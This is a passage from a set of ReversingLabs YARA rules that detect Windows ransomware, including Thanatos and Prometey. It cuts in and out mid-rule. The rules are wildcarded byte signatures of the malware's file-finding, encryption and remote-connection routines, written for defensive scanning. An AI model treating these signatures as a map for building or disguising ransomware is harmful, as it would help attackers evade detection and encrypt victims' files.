85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? - 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? - ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? - ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? - ?? 50 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 - } - $find_files_p5 = { - 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? - ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? - 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 - E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? B8 ?? ?? - ?? ?? 0F 95 C0 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? - 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 - 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 - ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 - DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 - } - $encrypt_files_p1 = { - B8 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 - E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? - B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? - ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? - 58 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? - 83 C4 ?? 58 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? - ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? - 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 - C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 - 45 ?? 8B 45 ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D - } - $encrypt_files_p2 = { - 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? - ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 - ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? - 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D - ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? - ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 - } - - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Thanatos : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Thanatos ransomware." - author = "ReversingLabs" - id = "190adbd0-30a7-5619-ab70-3ab031ece2f7" - date = "2020-11-13" - modified = "2020-11-13" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Thanatos.yara#L1-L85" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a51fa9cf1a08e4cd252a8b385be3bfde909585e2a799baaede977e40ecff5313" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Thanatos" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 50 89 85 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? EB ?? 8D 49 ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? C6 03 ?? FF - 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? - ?? ?? F7 F9 52 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 4F 75 ?? 8B 95 ?? ?? ?? - ?? 52 8D 85 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF D6 F6 85 ?? ?? ?? ?? ?? - 74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D7 85 C0 0F 84 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 - 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D BD - ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8B F8 72 ?? 8B - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 74 ?? 53 8D 9D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? - ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 6A ?? 53 8B F0 53 8D 45 ?? 33 FF 50 - 89 7D ?? 89 5D ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55 - ?? 8D 4D ?? 51 53 53 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B - C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 53 2B C2 50 8B 45 ?? 56 50 FF 15 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8D 4D ?? 51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 50 8D 4D ?? 51 53 53 6A ?? 53 8B - 1D ?? ?? ?? ?? 52 89 45 ?? FF D3 85 C0 74 ?? 8B 45 ?? 8B 3D ?? ?? ?? ?? 50 6A ?? FF - D7 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 8B 55 ?? 8B 02 51 50 56 E8 ?? ?? - ?? ?? 8B 4D ?? 8B 45 ?? 83 C4 ?? 51 8D 55 ?? 52 56 6A ?? 6A ?? 6A ?? 50 FF D3 85 C0 - 74 ?? 8B 5D ?? 8B 0B 51 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 89 10 89 - 33 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 DB 8B 55 ?? 52 FF - 15 ?? ?? ?? ?? 8B 45 ?? 53 50 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2 - } - $encrypt_files_p2 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 F6 56 68 ?? ?? ?? ?? - 6A ?? 56 6A ?? 68 ?? ?? ?? ?? 53 89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B F0 - 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 56 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 50 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? - ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 8D B5 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B - 00 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 B5 ?? ?? ?? ?? - 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? - ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B 95 ?? ?? ?? ?? 6A ?? 8D - 8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 52 51 50 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? - 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? - ?? ?? 8B E5 5D C2 - } - - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Prometey : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Prometey ransomware." - author = "ReversingLabs" - id = "a5902fc6-2752-520f-be84-df9ea7b1e27d" - date = "2021-06-07" - modified = "2021-06-07" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Prometey.yara#L1-L156" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f14c9605e2d375176b461fd396be66754b0ace7dcaada8ca33ad86f6eda10b73" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Prometey" - tc_detection_factor = 5 - importance = 25 - - strings: - $remote_connection_p1 = { - 55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3 - ?? ?? ?? ?? 6A ?? 5E 8D 85 ?? ?? ?? ?? 89 75 ?? 50 BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? - ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B 8D 4D ?? 88 5D ?? E8 ?? ?? - ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 - C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 - ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 33 DB 53 53 53 53 50 88 5D - } - $remote_connection_p2 = { - FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 53 56 53 53 6A ?? 68 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85 DB 74 ?? 6A ?? 68 ?? ?? ?? ?? - 33 C0 50 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? - 33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 - E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? - 8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF 75 ?? FF D7 80 7D ?? ?? 74 ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D - ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81 C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F - 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? E8 - } - $find_files_p1 = { - 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? - ?? BA ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D 4D ?? 8B D3 C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? - 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? - ?? 33 C0 8D 7D ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ?? - ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A - ?? 8B 7A ?? 2B CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B - 12 57 52 51 8B CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D - ?? 51 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 7D - ?? 8B 9D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 0F 43 7D ?? 89 8D ?? - ?? ?? ?? 3B D8 77 ?? 85 DB 75 ?? 8B F3 EB ?? 0F BE 09 2B C3 40 89 8D ?? ?? ?? ?? 03 - } - $find_files_p2 = { - C7 89 85 ?? ?? ?? ?? 2B C7 50 51 57 EB ?? 53 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 46 2B C6 50 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? - 8B F0 83 C4 ?? 85 F6 75 ?? 83 CE ?? 33 DB 56 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 89 5D ?? 50 8D 4D ?? 89 5D - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 7D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 7D ?? 85 D2 74 ?? - 83 C9 ?? 8D 42 ?? 3B C1 0F 42 C8 03 CF EB ?? 2B F7 EB ?? 3B CF 74 ?? 49 80 39 ?? 75 - ?? 2B CF EB ?? 83 C9 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 79 ?? 89 5D ?? C7 45 ?? ?? ?? - ?? ?? 88 5D ?? 3B D7 0F 82 ?? ?? ?? ?? 2B D7 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83 - 7D ?? ?? 51 0F 43 45 ?? 8D 4D ?? 03 C7 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC - 8D 45 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 6A ?? 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B 78 ?? 03 38 3B FB 7D ?? 81 FE ?? ?? ?? ?? 76 ?? 8D - } - $find_files_p3 = { - 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B FB 7D ?? 81 FE ?? ?? ?? ?? - 76 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D - ?? 8D 04 41 50 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? C6 45 - ?? ?? 56 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? - ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? C6 45 ?? ?? E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? - ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 51 50 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 56 BA ?? ?? ?? ?? - 8D 8D ?? 